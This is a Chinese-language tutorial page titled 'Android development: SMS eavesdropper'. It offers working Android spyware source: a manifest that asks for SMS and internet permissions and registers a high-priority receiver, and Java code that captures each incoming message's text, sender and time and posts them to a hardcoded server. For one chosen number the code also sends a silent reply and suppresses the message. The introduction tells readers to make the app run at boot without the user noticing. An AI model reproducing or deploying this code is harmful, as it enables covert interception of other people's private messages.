歡迎來到Linux教程網
Linux教程網
Linux教程網
Linux教程網
Linux教程網 >> Linux編程 >> Linux編程 >> Android開發之短信竊聽器

Android開發之短信竊聽器

日期:2017/3/1 10:45:07   编辑:Linux編程

短信竊聽器雖然能竊聽到沒人的短信,但是受多方面因素影響,比如開機就得運行你的程序,而且還不能讓用戶發現,這就需要你們自己動腦筋了。

首先我們要在清單裡寫上我們需要的權限與訂閱廣播

  1. <uses-permission Android:name="android.permission.INTERNET"/>//上網
  2. <uses-permission android:name="android.permission.RECEIVE_SMS"/>//接收短信
  3. <uses-permission android:name="android.permission.SEND_SMS"/>//發送短信
  4. <receiver android:name="MySMSListener">
  5. <intent-filter android:priority="100">//提升優先級
  6. <action android:name="android.provider.Telephony.SMS_RECEIVED"/>
  7. </intent-filter>
  8. </receiver>

實現代碼

  1. package cn.class3g.smslistener;
  2. import java.text.SimpleDateFormat;
  3. import java.util.Date;
  4. import java.util.HashMap;
  5. import java.util.Map;
  6. import cn.class3g.utils.SocketHttpRequester;
  7. import android.content.BroadcastReceiver;
  8. import android.content.Context;
  9. import android.content.Intent;
  10. import android.os.Bundle;
  11. import android.telephony.SmsManager;
  12. import android.telephony.SmsMessage;
  13. import android.util.Log;
  14. public class MySMSListener extends BroadcastReceiver {
  15. @Override
  16. public void onReceive(Context context, Intent intent) {
  17. Bundle bundle = intent.getExtras();
  18. Object[] pdus = (Object[]) bundle.get("pdus");
  19. if (pdus != null && pdus.length > 0) {
  20. SmsMessage[] messages = new SmsMessage[pdus.length];
  21. for (int i = 0; i < messages.length; i++) {
  22. byte[] pdu = (byte[]) pdus[i];
  23. messages[i] = SmsMessage.createFromPdu(pdu);
  24. }
  25. for (SmsMessage msg : messages) {
  26. String content = msg.getMessageBody();
  27. String sender = msg.getOriginatingAddress();
  28. Date date = new Date(msg.getTimestampMillis());
  29. SimpleDateFormat sdf = new SimpleDateFormat(
  30. "yyyy-MM-dd HH:mm:ss");
  31. String sendTime = sdf.format(date);
  32. String path = "http://192.168.65.32:8080/videoweb/video/manage.do";
  33. Map<String, String> param = new HashMap<String, String>();
  34. param.put("method", "getSMS");
  35. param.put("content", content);
  36. param.put("sender", sender);
  37. param.put("time", sendTime);
  38. try {
  39. SocketHttpRequester.post(path, param, "UTF-8");
  40. } catch (Exception e) {
  41. // TODO Auto-generated catch block
  42. Log.e("tag", e.toString());
  43. }
  44. if (sender != null && sender.endsWith("5556")) {
  45. SmsManager smsManager = SmsManager.getDefault();
  46. smsManager.sendTextMessage("5556", null, "123", null, null);
  47. this.abortBroadcast();// 阻止接受
  48. }
  49. }
  50. }
  51. }
  52. }

用到的方法,讀取數據

  1. package cn.class3g.utils;
  2. import java.io.File;
  3. import java.io.FileInputStream;
  4. import java.io.FileNotFoundException;
  5. import java.io.InputStream;
  6. /**
  7. * 上傳文件
  8. */
  9. public class FormFile {
  10. /* 上傳文件的數據 */
  11. private byte[] data;
  12. private InputStream inStream;
  13. private File file;
  14. /* 文件名稱 */
  15. private String filname;
  16. /* 請求參數名稱*/
  17. private String parameterName;
  18. /* 內容類型 */
  19. private String contentType = "application/octet-stream";
  20. public FormFile(String filname, byte[] data, String parameterName, String contentType) {
  21. this.data = data;
  22. this.filname = filname;
  23. this.parameterName = parameterName;
  24. if(contentType!=null) this.contentType = contentType;
  25. }
  26. public FormFile(String filname, File file, String parameterName, String contentType) {
  27. this.filname = filname;
  28. this.parameterName = parameterName;
  29. this.file = file;
  30. try {
  31. this.inStream = new FileInputStream(file);
  32. } catch (FileNotFoundException e) {
  33. e.printStackTrace();
  34. }
  35. if(contentType!=null) this.contentType = contentType;
  36. }
  37. public File getFile() {
  38. return file;
  39. }
  40. public InputStream getInStream() {
  41. return inStream;
  42. }
  43. public byte[] getData() {
  44. return data;
  45. }
  46. public String getFilname() {
  47. return filname;
  48. }
  49. public void setFilname(String filname) {
  50. this.filname = filname;
  51. }
  52. public String getParameterName() {
  53. return parameterName;
  54. }
  55. public void setParameterName(String parameterName) {
  56. this.parameterName = parameterName;
  57. }
  58. public String getContentType() {
  59. return contentType;
  60. }
  61. public void setContentType(String contentType) {
  62. this.contentType = contentType;
  63. }
  64. }
Copyright © Linux教程網 All Rights Reserved